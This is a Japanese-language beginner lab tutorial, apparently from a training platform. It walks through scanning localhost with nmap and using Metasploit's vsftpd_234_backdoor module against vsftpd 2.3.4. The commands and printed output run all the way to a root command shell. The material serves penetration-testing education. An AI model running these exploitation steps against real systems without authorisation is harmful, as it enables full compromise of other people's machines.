Metasploit で脆弱な vsftpd サービスをエクスプロイトする

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、ペネトレーションテスターの役割を担い、既知の脆弱性を一般的なサービスで悪用するために Metasploit Framework を使用する方法を学びます。具体的には、有名なバックドアを含む vsftpd(Very Secure FTP Daemon)バージョン 2.3.4 を標的とします。

Metasploit は、ハッキングを容易にする強力なオープンソースのペネトレーションテストフレームワークです。セキュリティ専門家にとって不可欠なツールです。標準的なペネトレーションテストプロセスに従います。つまり、標的をスキャンしてサービスを特定し、適切なエクスプロイトを見つけ、それを設定し、攻撃を実行して標的システムを制御下に置きます。この実験では、標的マシンはローカル環境(localhost)になります。

脆弱な vsftpd サービスを特定する

このステップでは、ペネトレーションテストの最初のフェーズである偵察(reconnaissance)を行います。目標は、標的をスキャンして開いているポートを発見し、それらのポートで実行されているサービスのバージョンを特定することです。この情報は、潜在的な脆弱性を見つけるために不可欠です。この目的のために、強力なネットワークスキャンツールである nmap を使用します。

まず、ターミナルを開きます。標的として機能するローカルマシンをスキャンします。ローカルマシンの IP アドレスは 127.0.0.1 です。

標的に対してサービスバージョン検出(-sV)を実行するために、以下の nmap コマンドを実行します。

nmap -sV 127.0.0.1

スキャンが完了すると、nmap は開いているポートと検出したサービスを報告します。この実験では、ポート 21 で実行されている FTP サービスに注目します。

出力は以下のようになります。FTP サービスのバージョン情報に注意してください。

Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds

出力は、ポート 21 で vsftpd 2.3.4 が実行されていることを明確に示しています。この特定のバージョンはバックドアを含んでいることが広く知られており、私たちのエクスプロイトにとって理想的な標的となります。

vsftpd_234_backdoor エクスプロイトモジュールを選択する

このステップでは、Metasploit Framework を起動し、vsftpd 2.3.4 サービスを攻撃するための適切なエクスプロイトモジュールを見つけます。

まず、Metasploit コンソールを起動します。バナーをスキップしてより速く開始するために、-q(quiet)フラグを使用します。

msfconsole -q

Metasploit がロードされると、msf6 > プロンプトが表示されます。ここで、vsftpd に関連するエクスプロイトを検索できます。search コマンドを使用します。

search vsftpd

Metasploit は一致するモジュールの一覧を表示します。vsftpd 2.3.4 のバックドア専用のエクスプロイトが表示されるはずです。

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                     normal     No     FTP Version Scanner

exploit/unix/ftp/vsftpd_234_backdoor モジュールがまさに私たちが求めているものです。「excellent」とランク付けされており、非常に信頼性が高いことを意味します。このモジュールをロードするには、use コマンドの後にモジュールの完全な名前、または検索結果の番号を使用します。

use exploit/unix/ftp/vsftpd_234_backdoor

コマンドを実行すると、プロンプトが msf6 exploit(unix/ftp/vsftpd_234_backdoor) > に変わり、エクスプロイトモジュールがアクティブになったことを示します。

RHOSTS オプションをターゲットの IP アドレスに設定する

このステップでは、エクスプロイトモジュールを設定します。ほとんどのモジュールでは、ターゲットの IP アドレスなどのオプションを設定する必要があります。

vsftpd_234_backdoor モジュールがロードされた状態で、show options コマンドを使用してそのオプションを表示できます。

show options

このコマンドは、このモジュールで利用可能なすべてのオプション、現在の設定、およびそれらが必須かどうかを示す表を表示します。

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

ご覧のとおり、RHOSTS(Remote Hosts)は必須ですが、値は設定されていません。これをターゲットマシンの IP アドレスである 127.0.0.1 に設定する必要があります。

set コマンドを使用して RHOSTS オプションを設定します。

set RHOSTS 127.0.0.1

オプションが正しく設定されたことを確認するには、再度 show options を実行します。RHOSTS127.0.0.1 という値が設定されていることがわかります。

check コマンドを使用してターゲットが脆弱かどうかを確認する

このステップでは、選択したエクスプロイトに対してターゲットが実際に脆弱かどうかを安全な方法でテストします。Metasploit は多くのモジュールに check コマンドを提供しており、これにより完全な攻撃を開始することなく脆弱性を検証できます。これは、検出やシステムクラッシュを回避するのに役立ちます。

エクスプロイトモジュールがターゲットの IP アドレスで設定されたので、単純に check コマンドを実行します。

check

Metasploit はターゲットサービスをプローブして、バックドアが存在するかどうかを判断しようとします。ターゲットが脆弱な場合、確認メッセージが表示されます。

[+] 127.0.0.1:21 - The target is vulnerable.

[+] The target is vulnerable. というメッセージは、127.0.0.1 上の vsftpd サービスにバックドアが存在することを確認します。これでエクスプロイトを開始する準備が整いました。ターゲットが脆弱でなかった場合、通常はターゲットがエクスプロイト可能ではないという報告がされます。

エクスプロイトを実行してコマンドシェルを取得する

このステップでは、エクスプロイトを実行してターゲットシステムへの不正アクセスを取得します。check コマンドでターゲットが脆弱であることを確認したので、エクスプロイトは成功するはずです。

攻撃を開始するコマンドは exploit です。エイリアスである run を使用することもできます。

exploit

Metasploit は、悪意のあるペイロードを vsftpd サービスに送信します。バックドアがトリガーされ、別のポート(この場合はポート 6200)でコマンドシェルが開かれます。Metasploit はこの新しいシェルに接続し、ターゲットへの直接コマンドラインアクセスを提供します。

出力は次のようになります。

[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400

これでターゲットマシン上のコマンドシェルが取得できました!プロンプトが消えていることに注意してください。ターゲットに直接ログインしたかのようにコマンドを実行できるようになりました。whoami コマンドを実行して、アクセスレベルを確認しましょう。

whoami

出力は次のようになります。

root

これにより、ルートシェルを取得し、ターゲットシステムを完全に制御できることが確認できました。シェルを終了して Metasploit プロンプトに戻るには、exit と入力します。

まとめ

この実験を無事に完了したことをお祝いします!Metasploit Framework を使用したペネトレーションテストの基本的なワークフローを学びました。

この実験では、以下のことを行いました。

  1. nmap を使用して偵察を行い、脆弱な vsftpd 2.3.4 サービスを特定しました。
  2. Metasploit コンソールを起動し、関連するエクスプロイトを検索しました。
  3. RHOSTS オプションを設定して、vsftpd_234_backdoor エクスプロイトモジュールを選択・設定しました。
  4. check コマンドを使用して、ターゲットの脆弱性を安全に検証しました。
  5. exploit コマンドを実行して、ターゲットシステム上でルートレベルのコマンドシェルを取得しました。

この演習は、単純な未パッチの脆弱性がどのようにシステム全体の侵害につながるかを示しています。ソフトウェアを最新の状態に保つことの重要性と、倫理的なハッカーと悪意のある攻撃者の両方にとって Metasploit のようなツールの強力さを示しています。